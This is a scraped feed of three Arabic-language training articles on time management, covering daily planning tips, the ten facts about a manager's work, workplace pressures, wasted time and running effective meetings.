  • اكتب قائمة أعمال يومية وتأكد أنها تشتمل على أهدافك اليومية والأولويات والوقت الذي تقدره لكل ولا تعتمد على النشاط الارتجالي .
  • ضع جدولا لمواعيدك يوميا حتى تتأكد أنك تحقق الأشياء الهامة أولا ، ولا تنسى أن تترك وقتا للأشياء الغير متوقعة والمقاطعات ولكن تذكر أن الأشياء التي وضعتها في جدولك يجب أن يتوافر لها أفضل الفرص لتحقيقها وليس تلك الأشياء التي لم تضعها بجدولك .
  • تأكد أن الساعة الأولى من عملك اليومي منتجة .
  • ضع حدوداً زمنية لكل عمل تقوم به .
  • خذ وقتا كافيا لأداء عملك جيدا من المرة الأولى بدلا من تضييع الوقت في الإعادة .
  • استبعد المشاكل المزمنة من حياتك ، و اعرف لماذا استمرت هذه المشاكل في مسارها الخاطئ وتعود أن تبدأ بالفعل بدلا من رد الفعل .
  • خصص ساعة هادئة كل يوم _ أو وقتا لا يعترضه العمل ، للتفكير في أعمالك الهامة .
  • يجب أن تنمى عادة الإنهاء من العمل الذي بدأته ولا تقفز من عمل بدون أن تنجزه إلي عمل آخر .
  • حارب التسويف وتعلم كيف تنجز عملك الآن .
  • اجعل الإدارة الجيدة للوقت عادة من العادات اليومية ، ضع أهدافك ووضح الأولويات ثم ضع خطة وجدولا لوقتك ، وقم بالعمل حسب الأولويات ، قاوم رغبتك في عمل أشياء خارج الجدول أعد مراجعة أعمالك بإستمرار .
  • لا تقضى وقتك مع الأشياء ذات الأهمية البسيطة في الوقت الذي تستطيع أن تقضى هذا الوقت في أعمال ذات أهمية أكبر .
  • خذ وقت خاص لشخصك ، وقت للأحلام ، وقت للاسترخاء ، وقت للحياة .
  • نم فلسفتك الشخصية عن الوقت _ ماذا يعنى الوقت لك وكيف يرتبط بحياتك؟

 

تمرين

تحديد الأولويات

مطلوب ذكر أمثلة من واقع عملك اليومي لكل مما يلي :

1- ثلاث مهام هامة جدا تهم عملك و لا يمكن تفويضها .

2- ثلاث مهام هامة و لكن يمكن تفويضها لغيرك .

3- ثلاث أعمال روتينية يجب أن تقوم بتفويضها .

 

سجل النتائج التي تتوصل إليها هنا :

…………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………….

 

و الآن … أقرأ هذا المثال :

مثال على تحديد الأهداف و الأنشطة الرئيسية في الوظيفة

الهدف :

أحقق رضاء نفسي بكوني معلما ناجحا.

ملخص عام :

التدريس في كلية التجارة جامعة القاهرة.

         الأعمال الرئيسية        النتائج التي يمكن قياسها
*التحضير بدقة متناهية لمحاضرة جيدة.

*تحديد الوحدات المعرفية التي يتم تغطيتها في كل محاضرة.

*تحديد قائمة بالمراجع للطلاب تستخدم للأعداد لكل وحدة معرفية .

*ترتيب زيارات ميدانية للطلاب .

*تزويد الطلاب بمجموعة من الأسئلة للمناقشة في نهاية كل محاضرة .

*عمل مراجعة لما تم في المحاضرة السابقة قبل بدء المحاضرة الجديدة.

*أخطار الطلاب بالأحداث الاجتماعية و القومية المرتبطة بالمادة العلمية التي أقوم بتدريسها .

 *نسبة المواظبة على الحضور 75% فأكثر .

*قيام الطلاب بالتفاعل معي بإبداء أسئلة و استفسارات .

*قيام الطلبة بحل جميع الواجبات المنزلية و تقديمها في الميعاد .

*اشتراك الطلاب في المناقشات .

 

هل معنى أن الأعمال الرئيسية قد تحققت ؟ و أن النتائج الرئيسية قد تحققت ؟ وأن هدفك قد تحقق؟.

 

المتوقع س2(التباين)
18 (20-16)2

6
12 1,
12,3 1,8
7 2,8
17,7 -,1
14 -,1
9,8 7,

 

ثانياً : الحقائق العشرة عن عمل المدير :

قام فريق من الباحثين بمركز القيادة الخلاقة بالولايات المتحدة بدراسة شاملة و مراجعة دقيقة لعدد كبير من الدراسات المتعلقة بالإدارة لتحديد الملامح الأساسية لعمل المدير و توصل الفريق إلى عدد من التعميمات بخصوص عمل المدير أهمها الحقائق العشرة عن عمل المدير ، وهى كما يلي :

1- المديرون يعملون ساعات طويلة:

يعمل المدير عادة ساعات طويلة _ أطول من الساعات التي يعملها غير المديرين ، وقد تصل الساعات التي يعملها المدير إلى 90  ساعة في الأسبوع في بعض الحالات و لاحظوا أيضا أنه من تزايد نجاح المدير يزداد عدد الساعات التي يعملها و ليس العكس .

2- المدير مشغول جدا:

بالإضافة إلى أن المدير يعمل ساعات عمل طويلة ، فأنه يفعل أشياء كثيرة مختلفة و تعدد بعض الدراسات أكثر من مئاتي شئ مختلف يمكن أن ينشغل بها المدير في يوم عمل واحد ، و يلاحظ أن المشرف أو رئيس القسم لا يكاد يجلس بدون مقاطعة أو تحدث لمدة دقيقة واحدة في اليوم العادي , غير أنه لحسن الحظ فإن معدل النشاط والتشتيت يقل مع ارتفاع المدير في درجات السلم الإداري

3- عمل المدير متقطع :

و كما هو متوقع مع ارتفاع عدد و تنوع الأشياء التي يهتم بها المدير  فإن إهتمامه بأي شئ أو موضوع منها لابد أن يكون لفترة قصيرة جدا ،ولابد أن يكون متقطعا ، فلا تكاد تتاح له الفرصة للاهتمام بموضوع أو شئ واحد لفترة معقولة ، ولابد بالتالي أن تفتقر اتصالاته مع الآخرين للاستمرار وإتمام ،وليس على شخص يمكن أن يكون فعالا في ظل هذا الجو من العمل .

4- عمل المدير متنوع :

يمكن تمييز خمسة أنواع أساسية في عمل المدير في اليوم العادي: أعمال ورقيه _ إتصالات تلفونية _ إجتماعات ومقابلات محددة مقدما _ إجتماعات ومقابلات غير مخططة أو غير رسمية _ زيارات وجولات متابعة وتفتيش ،ويعطى ذلك صورة تقريبية عن مدى التنوع في عمل المدير ،أضف إلى ذلك أن المشكلات المطروحة بحد ذاتها متنوعة إلى حد كبير جدا وتحتاج من المدير قدرة عالية على تغيير إهتمامات وإتجاهات تفكيره بسرعة كبيرة .       

5- المدير ينشغل بإدارته :

حيث يقضى المدير معظم وقته بالإدارة التي يرأسها . وكلما إرتفع مستوى المدير نلاحظ أنه يقضى وقتا أطول على مكتبه بالمقارنة بالتنقل بين المرؤوسين .

6- عمل المدير أساسا شفوى :

أكثر من نصف عمل المدير في الإدارة المباشرة والوسطى يقضى في إتصالات شفوية وترتفع النسبة أعلى في مستويات الإدارة العليا .حتى أن 90% من وقت كبار المديرين يقضونه في التحدث . وأغلب اتصالاتهم الشفوية تكون في مواقف وجه لوجه والقليل منها على التليفون .

7- إتصالات المدير بالآخرين كثيرة :

     يميل المديرين إلى الإتصال المستمر بالآخرين . ويميلون إلى الإتصال والتواجد مع مرؤوسيهم أكثر من رؤسائهم . فهم يشرفون على الآخرين أكثر مما يشرف عليهم كذلك يقضى المدير وقتا كبيرا في الإتصال والتفاعل مع الزملاء وتزداد نسبة الإتصالات مع أشخاص من خارج القسم وخارج الشركة كلما إرتفع المدير في المستوى الإداري .

8- المدير ليس مخططا مفكرا :

وذلك بسبب أن المديرين لا يتركون وحدهم إلا نادرا . فأنه ليس لديهم في الواقع وقت طويل يقضونه في التفكير والتخطيط . أنهم ببساطة مشغولون جدا ويمكن أن تمر أسابيع دون أن تتاح للمدير فرصة ولو 1/2 ساعة هدوء دون إزعاج أو مقاطعة ليفكر ويخطط . والوقت الذي يقضيه المدير وحده عادة يقضيه في القراءة والكتابة . وكمية المراسلات والأعمال الورقية والتقارير المرفوعة من الرؤساء – وما إلى ذلك – كبيرة للغاية والنتيجة أن المدير في العادة لا يقضى أكثر من 5% من وقته في التفكير والتخطيط والتأمل في عمله .

9- المعلومات جزء أساسى في عمل المدير :

يقضى المدير نحو (1/2) نصف وقته في الحصول على المعلومات وأقل من (1/4) ربع وقته في إتخاذ القرارات وتقييم الأفكار ووضع الإستراتيجيات .

10- المديرون لا يعرفون كيف يقضون وقتهم :

فإذا سألت أي مدير فيما يقضى وقته . فإنه غالباَ سيعطيك إجابة يعتقد هو أنها دقيقة ، في حين أن أي تحليل دقيق لكيفية قضائه لوقته تكشف أنها صورة غير صحيحة فالمديرون عادة يميلون إلى المبالغة في تقدير الوقت الذي يقضونه في الإنتاج والإطلاع والكتابة والتفكير والمكالمات التليفونية في حين يقللون الوقت الذي يتصورون أنهم يقضونه في الإتصالات والتحدث في المناقشات الرسمية وغير الرسمية .

*   *   *

انتهت بحمد الله المقالة الثامنة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثامنة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-08/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السابعة https://cameknowledge.camecenter.com/articles/time_management-07/ https://cameknowledge.camecenter.com/articles/time_management-07/#respond Sat, 01 Apr 2023 13:47:37 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10318 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة السابعة ضغوط العمل ثالثاً : إدارة ضغوط العمل . يهدف تناول هذا الموضوع إلى ما يلي : تعريف المشاركين بأنواع ضغوط العمل – الداخلية والخارجية –المختلفة ،التي يتعرض لها المديرون أو الأفراد . توضيح أثر هذه الضغوط على أداء المديرين الأفراد ، وبيان […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة السابعة

ضغوط العمل

ثالثاً : إدارة ضغوط العمل .

يهدف تناول هذا الموضوع إلى ما يلي :

  • تعريف المشاركين بأنواع ضغوط العمل – الداخلية والخارجية –المختلفة ،التي يتعرض لها المديرون أو الأفراد .
  • توضيح أثر هذه الضغوط على أداء المديرين الأفراد ، وبيان مدى تأثيرها قدراتهم على حسن استغلال وقتهم .
  • إكساب المشاركين مهارات إدارة ضغوط العمل ،للحد من تأثيرها على قدراتهم في ترشيد استخدام وقتهم .

أثر الضغوط على الوقت

     تلعب الضغوط التي يتعرض لها الفرد – سواء أكانت في العمل ( داخلية ) أو كانت نابعة من البيئة المحيطة بالعمل ( خارجية )- دورا كبيرا في التأثير على استخدام الوقت .

     فالعوامل أو المتغيرات المتحكمة في بيئة العمل الداخلية – المتعلقة بالرؤساء والمرؤوسين ، والاتصالات ،وتفويض السلطة ،والعلاقات مع الزملاء ، والأزمات أو المفاجآت ،والاجتماعات وغيرها –تشكل مجموعة من الضغوط الداخلية التي تؤثر على تخطيطك وتنظيمك لوقتك .

     والعوامل أو المتغيرات المتحكمة في البيئة الخارجية للعمل والتي تضم متغيرات سياسية وقانونية واقتصادية واجتماعية وثقافية تشكل من ناحية أخرى ضغوطا من نوع آخر على تخطيطك وتنظيمك لوقتك .  

 

 أنواع الضغوط التي تؤثر على إدارة الوقت

 فيما يلي أهم أشكال الضغوط الداخلية و الخارجية التي تؤثر علي إدارة الوقت.

1- الضغوط الداخلية  :

وتأخذ الضغوط الداخلية المؤثرة على إدارة الوقت صوراً متنوعة منها ما يلي:

ضغوط من جانب الرؤساء:

   -التكليف بحجم عمل إضافي.

   -الاتصالات التليفونية.

   -الاجتماعات و المقابلات.

   -مصاحبة الرئيس أثناء الزيارات أو المناسبات أو الحفلات.

   -غياب الرئيس المباشر.

   -عدم تفويض مناسب للسلطة من جانب الرئيس.

ضغوط من جانب المرءوسين:

   -عدم القدرة على الإنجاز.

   -قصور وإهمال في العمل.

   -شكاوي.

   -حوادث/إصابات عمل.

   -نزاعات وخلافات.

   -غياب وأجازات.

ضغوط ناتجة عن طبيعة وظروف العمل:

   -عدم ملائمة طبيعة العمل وعناصره.

   -عدم ملائمة مكان العمل.

   -الصراع على الدرجات والترقية.

   -العلاقات الشخصية في العمل.

ضغوط ناتجة عن التنظيم:

   -عدم وضوح العلاقات التنظيمية وتداخل الاختصاصات.

   -عدم توزيع السلطات والمسؤليات بشكل متوازن مما يجعل القدرة على مواجهة الأعباء في بعض المواقع مما يجب.

   -عدم التنسيق الكافي بين الإدارات ولأقسام.

   -تعدد الإشراف.

   -كثرة اللجان المنبثقة.

   -المركزية الشديدة وعدم وجود التفويض المناسب.

 

ضغوط ناتجة عن التخطيط :

   – سوء التخطيط.

   – عدم وضوح الأهداف والسياسات.

   – عدم توافر البيانات الكافية والدقيقة.

   – عدم معالجة البيانات بالطرق السريعة والدقيقة.

   – تعدد الخطط وتضاربها.

ضغوط رقابية:

   – تعدد جهات الرقابة الداخلية.

   – عدم وضوح المعايير الرقابية.

   – غياب المعايير الرقابية.

   – عدم استخدام أساليب الرقابة الحديثة.

   – الرقابة الشديدة والتدقيق المطول.

 

الضغوط الخارجية:

من الضغوط التي تؤثر أيضاً على إدارة الوقت ما يمكن تسميته بالضغوط الخارجية والتي تضم:

   – جماعات الضغط في البيئة المحيطة بالمنظمة مثل(جماعة حماية المستهلك، وجماعات حماية البيئة…إلخ) .

   -الرأي العم للجماهير.

   -الإعلام.

   -أجهزة الرقابة الخارجية المتعددة.

   -الأسرة ومتطلباتها.

   -العلاقات الاجتماعية والعائلية. 

 

الاستخدام الفعال للوقت

رابعاً : خطة الإستخدام الفعال للوقت .

هذه الجلسة :

   تهدف هذه الجلسة إلى :

  • تعريف المشاركين بالمبادئ والأساليب التي يمكن أن يحددوا بها أسلوب تمضية وقتهم في العمل .
  • تزويد المشاركين بالمبادئ الخاصة بترشيد استخدام الوقت وتحديد متطلبات تنظيمه وإدارته بفعالية .

ما يجب أن تعرفه و ما سيناقش خلال هذه الجلسة :

كيف يمضى الوقت ؟

    كل منا يمتلك (24) ساعة يوميا والسؤال الآن :

   كيف يتم توزيع هذه الأربع وعشرين ساعة ؟

  وما هي المجالات الأساسية التي يتم فيها قضاء هذا الوقت ؟

  هل كل منا يمكنه أن يجيب بسهولة على هذا السؤال ؟

 

سوف نركز هنا على الوقت المخصص لساعات العمل لما يمثله ذلك من أهمية كبرى فيما يتعلق بالإنتاجية وخاصة في شركات البترول .

إن ممارسة الأعمال في شركات البترول تتطلب تنظيما فعالا للوقت ،لأنها تعمل داخل سوق عالمي متطور تحكمه المنافسة ويسيطر التقدم التكنولوجي المستمر على مختلف العمليات الإنتاجية والتسويقية فيه ،وإذا لم يكن هناك تنظيم فعال للوقت فقدت الشركة سيطرتها على الإنتاجية مما يقلل من دورها الاقتصادي مقارنة بالشركات المنافسة .

هل سألت نفسك …. كيف تمضى فترة ساعات العمل التي تقضيها يوميا في سمارك ؟

سوف نيسر عليك هذه المهمة ،

 وفيما يلي بعض الأنشطة التي نعتقد أنك قد قمت بها خلال يوم عمل :

  • مقابلة الرؤساء .
  • تحرير خطابات رسمية .
  • اجتماعات .
  • مكالمات هاتفية خاصة بالعمل .
  • مكالمات هاتفية لا علاقة لها بالعمل .
  • زيارات شخصية .
  • الصلاة .
  • زيارات ميدانية للمواقع .
  • جلسة مجاملة مع أحد الزملاء .
  • قراءة البريد .
  • قراءة تقارير .
  • ………….
  • ………..
  • …………
  • …………الخ .

     سوف يتضح لك أن هناك بعض المجالات التي لا علاقة لها بالوظيفة التي تؤديها وأن هناك مجالات أخرى تدخل بشكل أو بآخر ضمن متطلبات عملك اليومي .

     دعنا نحاول الآن أن نحدد المجالات التي يجب أن تقضى فيها فترة ساعات الدوام المخصصة يوميا للعمل .

 من الممكن تحديد هذه المجالات على الوجه التالي :

  • أعمال روتينية .
  • متطلبات الوظيفة .
  • مهمات خاصة .
  • العمل الإبداعي أو العمل الخلاق .

 

  • الأعمال الروتينية :

      ويندرج تحت هذه الأعمال جميع الواجبات الإدارية التي تأخذ شكل التكرار والروتينية ( يومية – شهرية – سنوية ) مثل الاطلاع على البريد الوارد وتصنيفه والتوقيع على كشوفات الأجور والمرتبات وتنظيم الأجازات السنوية للمرؤوسين …الخ ) ولا تشكل الأعمال الروتينية جزءا هاما من عمل المشرف . إلا أنها تتطلب بعض التفكير وبالتالي فهي تستحوذ على جزء من وقت المشرف ولا ينبغى أن تستحوذ الأعمال الروتينية على كل وقت المشرف وإلا فقد سيطرته على العملية الإشرافية بأكملها.

  • متطلبات الوظيفة :

     وتمثل أساسا العمل الخاص بوظيفتك الإدارية أو الفنية فتتناول المجال التخصصي فيها .

  • المهمات الخاصة :

     وهي تلك الأعمال التي لا توصف بالدورية ولا تدخل بطريقة مباشرة ضمن متطلبات الوظيفة التي تقوم بها كأن يعهد لأحد مسئولي الصيانة بأعداد دراسة خاصة حول تكاليف تشغيل آلة جديدة سوف يتم تركيبها في الشركة .

 

(4) العمل الإبداعي :

     ويتمثل في المبادرة الدائمة لتطوير العمل ،فالمشرف الفعال مثلا عليه أن يسعى إلى تطوير القسم الذي يشرف عليه مثل : تطوير العملية التخطيطية داخل القسم أو تبسيط الأعمال الروتينية أو استحداث برنامج تدريبي لرفع كفاءة العاملين ،هذا هو ما يمكن أن يطلق عليه العمل الإبداعي أو الخلاق والذي يجب وأن يستحوذ على جزء ليس ببسيط من وقت المشرف .

الآن وبعد التعرف على هذه المجالات علينا أن نسأل أنفسنا :

     هل نستغرق يوميا ساعات العمل المقررة في مجالات الأعمال التي سبق الإشارة إليها ؟ أم أن هناك جزءا من هذا الوقت لا يوجه إلى هذه الأعمال ؟ الحقيقة أن هناك جزءا من هذه الساعات لا يوجه فعلا إلى هذه الأعمال وهذا هو ما يطلق عليه :

الوقت المهدر ( الضائع ) :

     ولا يقصد بالوقت المهدر في هذا المجال إهمال الفرد أو تهربه من العمل ولكن يقصد به سوء التنظيم والتخطيط داخل المنشأة وما يترتب عليه من :

  • المقاطعات .
  • الخطأ في الاتصال .
  • خطأ التوقع .
  • عدم تحديد أولويات .

المقاطعات :

     وتعتبر من أهم الأسباب المؤدية لإهدار الوقت كالمحادثات الهاتفية المستعجلة وعبارات المجاملة والاجتماعات العاجلة …الخ .

خطأ الاتصال :

     يعتبر الاتصال الجيد المحور الأساسي لجودة إنجاز الأعمال ،فالمشرف الذي يحاول الحصول على بعض المعلومات من أحد مرؤسيه ،أو من أحد زملائه ، عليه أن يتأكد فعلا من أن هذا المرؤس أو هذا الزميل هو فعلا الشخص الذي يمكن أن يمده بالمعلومات المطلوبة فالاتصال بأحد المرؤوسين الذين لا تتوفر لديه تلك المعلومات يعتبر إهدارا للوقت .

خطأ التوقع :

     هناك ما يسمى بأسلوب ( إدارة الأزمات ) ويعنى هذا الأسلوب القيام بمعالجة المشكلة فقط بعد حدوثها حيث يستغرق الوقت اللازم لحل المشكلة طبقا لهذا الأسلوب وقتاَ أكثر بكثير منه لو قمنا بتوقع هذه المشكلة ووضعت الإجراءات اللازمة لتلافيها قبل حدوثها .

عدم تحديد الأولويات :

     ويعد ذلك من أهم أسباب إهدار الوقت فالمشرف الذي يتوجه مثلا إلى قسم الاستخدام لبحث طلبات الاستخدام الجديدة ثم يتوقف أثناء طريقه ليدقق في جودة شحنة حديثه من المواد والتجهيزات ثم يستدعى إلى الهاتف قبل أن ينتهي من مراقبة الجودة ثم يترك الهاتف لحظة ليرد على سؤال أحد العمال وينادى على مهندس القسم ليعالج سؤال هذا العامل ولا ينهى أبدا أي شئ بدأه ،هذا المشرف لا يعتبر منظما لوقته .

     أذن على الفرد أن يعمل دائما على التقليل من حدة أسباب الوقت المهدر ليزيد بالتالي من الوقت المفيد بغرض تحقيق أهدافه .

     ولكن في محاولاتنا الدائمة للقضاء على الوقت المهدر فإننا نقوم في بعض الأحيان بتخريب علاقاتنا مع الآخرين .

     وفي هذا المجال فقد قام أحد المتخصصين بإجراء بحث على عدد (410) مشرفا للتعرف على أهم المجالات التي تؤدى إلى إهدار الوقت .وقد توصل هذا المسح إلى تحديد المجالات التالية :

  • القصور في نظم المعلومات .
  • التفويض الضعيف .
  • المقاطعات .

       

      * خطأ الاتصال .

      * زائرون غير متوقعين .

  • سوء التنظيم وما ينتج عنه من عدم وضوح العلاقات .
  • مواجهة الأعمال الطارئة غير المتوقعة .
  • وجود مراسلات  ومعاملات كثيرة للقراءة .
  • تأجيل إنهاء العمل .
  • الاجتماعات غير المجدية
  • عدم وضوح الأهداف .

 

تمرين

كيف يتم قضاء وقت العمل

نص التمرين :

عزيزي المشارك ..

  الآن وقد اقتربنا من نهاية البرنامج ، يرجى أن تحدد لنا : 

  • كيفية قضائك لوقت العمل من خلال تعبئة الجدول التالي :

     العمل                         نسبته إلى وقت العمل المتاح

   1- أعمال روتينية                               %

   2- متطلبات الوظيفة                            %     

  3- مهمات خاصة                                     %

  4- العمل الإبداعي الخلاق .                           %

  5- وقت مهدر ( ضائع )                              %

 

2- أن تحدد لنا ما هي أسباب الوقت المهدر وهل هو راجح إلى :

     – القصور في نظم المعلومات                      نعم           لا

     – التفويض غير السليم .                          نعم           لا

     – المقاطعات .                                     نعم           لا

     -سوء التنظيم وما ينتج عنه من عدم وضوح       نعم           لا

                         العلاقات .                                   

     – مواجهة الأعمال الطارئة غير المتوقعة           نعم           لا

     – وجود معاملات كثيرة للقراءة .                  نعم            لا

     – عدم وضوح الأهداف .                          نعم           لا

     – الاتماعات غير المجدية .                       نعم           لا

     – أخرى ( يرجى ذكرها ) .                       نعم           لا 

 

أهم الإقتراحات لإدارة فعالة للوقت :

  • خصص فترات طويلة متواصلة للأنشطة الرئيسية .
  • تحكم في المعوقات خلال الفترات الحرجة ، عن طريق عدم قبول أي زائر أو أي اتصال هاتفي
  • خصص وقتاً للتخطيط الإبداعي ، والتحضير ، والأنشطة العامة .
  • اجمع معاَ الأعمال المتشابهة لتوفر لك الابتداء والتوقف عن العمل مراراَ .
  • ضع كل المكالمات الهاتفية معاَ .دع سكرتيرتك تطلب لك الرقم التالي عندما تكون على وشك الانتهاء من المتحدث الحالي .
  • ضع المشروعات ذات الأهمية العالية في أوائل أيام الأسبوع .
  • حدد الوقت الخاص بك الذي تكون فيه في ذروتك – أي عندما تكون في أصفى ذهن – وخصص هذا الوقت لمتابعة الأولويات المهمة .
  • خصص وقتاَ للأزمات غير المتوقعة .
  • ضع أقل الأعمال أهمية في الوقت الذي تكون فيه في ذروة نشاطك حتى تنجز منها الكثير في وقت قصير .
  • أجل المشروعات القصيرة حتى تبدأ في المشروعات الأطول منها .
  • احترس من عملية التفويض العكسي . أي كم من الوقت يفرض عليك بواسطة مرءوسيك ؟
  • تحرك بسرعة بالنسبة للقرارات الممكن الرجوع عنها ، وتحرك ببطء بالنسبة لتلك التي لا يمكن الرجوع عنها .
  • دع مرءوسيك يعرفون أن هناك أوقاتاَ معينة لا تود فيها أن يقاطعك أحد ، وأوقاتاَ أخرى يمكنهم المجيء إليك فيها .
  • ألقي بعيداَ البريد غير المفيد . تحت عنوان البريد هناك اقتراحات أخرى : وجه البريد مباشرة إلى المرءوسين،قم بإلغاء الاشتراكات مع المؤسسات التي ترسل كثيراً من البريد،وحاول أن تشطب اسمك من قوائم البريد التجارية.

*   *   *

انتهت بحمد الله المقالة السابعة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-07/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السادسة https://cameknowledge.camecenter.com/articles/time_management-06/ https://cameknowledge.camecenter.com/articles/time_management-06/#respond Sat, 01 Apr 2023 13:40:15 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10316 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة السادسة إدارة الاجتماعات الفعالة ثانياً : إدارة الإجتماعات : 1-  ماهية الإجتماعات  الاجتماع هو : إلتقاء عدد معين من الأفراد في مكان ما لمناقشة موضوع معين بهدف الوصول إلى قرارات معينة . الإجتماع الفعال هو الذي يحقق الأهداف المرجوة من عقده في أقصر […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة السادسة

إدارة الاجتماعات الفعالة

ثانياً : إدارة الإجتماعات :

1-  ماهية الإجتماعات

 الاجتماع هو : إلتقاء عدد معين من الأفراد في مكان ما لمناقشة موضوع معين بهدف الوصول إلى قرارات معينة .

الإجتماع الفعال هو الذي يحقق الأهداف المرجوة من عقده في أقصر وقت كما يحقق رضاء غالبية المشاركين فيه .

ويعتبر الإجتماع واحدا من أهم الأنشطة التي تستنفد جانب كبير من وقت القائد أو المدير في أية منظمة .

ولقد توصل بعض الباحثين إلى أن المدير الأمريكي يقضى حوالي 70% من وقت العمل في إجتماعات. كما توصل إلى أنه يعقد في الولايات المتحدة الأمريكية ما بين 12و15 مليون إجتماع كل يوم عمل .

2- أنواع الإجتماعات .

2/1   إجتماعات إعلامية .

2/2   إجتماعات المناقشات

2/3   إجتماعات حل المشكلات

2/4   إجتماعات إتخاذ القرارات 

3- ما يجب على القائد عمله قبل الإجتماع

3/1 التخطيط الفعال للإجتماع .

3/2 التأكد من أن الإجتماع ضروري ، وليس مضياعا للوقت .

3/3 إختر أفضل الأوقات مناسبة .

3/4 إختر المشاركين بدقة .

3/5 أعد جدول الأعمال .

3/6 نظم مكان الإجتماع  .

4- مشكلات الإجتماعات :

 أسبابها ، أساليب منع وقوعها ، كيفية التعامل معها

  • قيام أحد المشاركين بطرح سؤال معين أو الإدلاء بتعليق ليس له علاقة بموضوع المناقشة .
  • حوار جانبى بين عضوين من أعضاء الإجتماع .
  • إنصراف إنتباه الأعضاء .
  • الجدل بين الأعضاء .
  • سيطرة واحد من الأعضاء أو اثنين على الإجتماع .
  • توتر الأعضاء واستعدادهم لمغادرة القاعة .
  • عزوف الأعضاء عن المشاركة .
  • خروج رئيس الإجتماع عن موضوع الإجتماع  .

5- أهم المهارات التي يجب توافرها في رئيس الإجتماع

1-  المهارات الإدارية :

   بمعنى :

  • أن يكون ملما بمبادئ الإدارة من : تخطيط ، وتنظيم ، وتوجيه ، ورقابة …

2- المهارات الإنسانية .

  بمعنى :

  • أن يكون قادرا على إيجاد المناخ التنظيمي المناسب .
  • أن يكون قادرا على الحزم وتقبل المسئولية ،مع وجود قدر من المرونة .
  • أن يكون قادرا على المبادرة واللياقة وحفز الأعضاء في الإجتماع على الإلتزام بجدول الأعمال

 

3- المهارات الفنية .

   بمعنى :

  • أن يكون على دراية بفنيات عمله ومعرفة تامة بموضوع الإجتماع .
  • أن يكون على دراية بإستخدام كافة الأساليب والإجراءات والطرق الكفيلة بتحقيق الأهداف المخططة .

4- المهارات الفكرية .

    بمعنى :

  • أن يكون قادرا على التعامل مع الأفكار المطروحة أثناء الإجتماع .
  • أن تكون لديه قدرة عالية على الفهم والحكمة .
  • أن يتصف بصفاء الذهن وحسن التصرف في مواجهة الأمور.

أهم القواعد الشكلية التي يجب على رئيس الإجتماع إتباعها لتدعيم ثقة الأعضاء فيه وإنجاز إجتماع فعال

1- البدء في جلسة الإجتماع في الموعد المحدد .

2- حفظ النظام في الجلسة في جميع الأحوال ،على سبيل المثال :

  • ألا يطرح أكثر من إقتراح للمناقشة في نفس الوقت
  • ألا يتكلم أكثر من عضو في نفس الوقت .
  • منع التداخل في المناقشات .
  • عدم السماح بالتحدث في موضوعات خارجة عن جدول أعمال الإجتماع .

3- قراءة الإقتراح بعد الموافقة على عرضه ، ثم فتح باب المناقشة ، ثم تلاوته مرة ثانية قبل إجراء التصويت .

4- التأكد من أن الموضوع الذي تم طرحه للمناقشة قد نال قدر كاف من الدراسة والتحليل قبل عرضه للتصويت وإتخاذ قرار بشأنه .

5- يستحسن الوقوف عند قراءة الإقتراح ،وعند إعلان التصويت عليه ،وذلك في حالة الإجتماعات الموسعة .

6- إعطاء الكلمة للعضو الذي يطلبها ،مع إعطاء أولوية للذين لم يتحدثوا من قبل .

7- إذا دعت الضرورة لترك الإجتماع لأي سبب من الأسباب فيجب تكليف النائب أو أي عضو آخر بأن يرأس الإجتماع .

8- إذا رأي الرئيس أن موضوعا ما تنقصه الدراسة ، أو أن بعض جوانبه يحتاج إلى مزيد من التوضيح ، فإن عليه أن يحيله إلى لجنة متفرعة عن الإجتماع .

9- التقييم المستمر لإستجابات الأعضاء مما يزيد من فعالية الجلسات القادمة .

 

7- ما يجب على القائد أو المدير أثناء الإجتماع

  • إدارة وقت الإجتماع بفعالية .
  • إبلاغ الأعضاء بوضوح الغرض من الإجتماع .
  • ممارسة فن القيادة .
  • التأكيد بإستمرار على موضوع الإجتماع .
  • التحكم في الوقت المتاح للحديث .
  • الحصول على المعلومات اللازمة والتي تتعلق بموضوع الإجتماع .
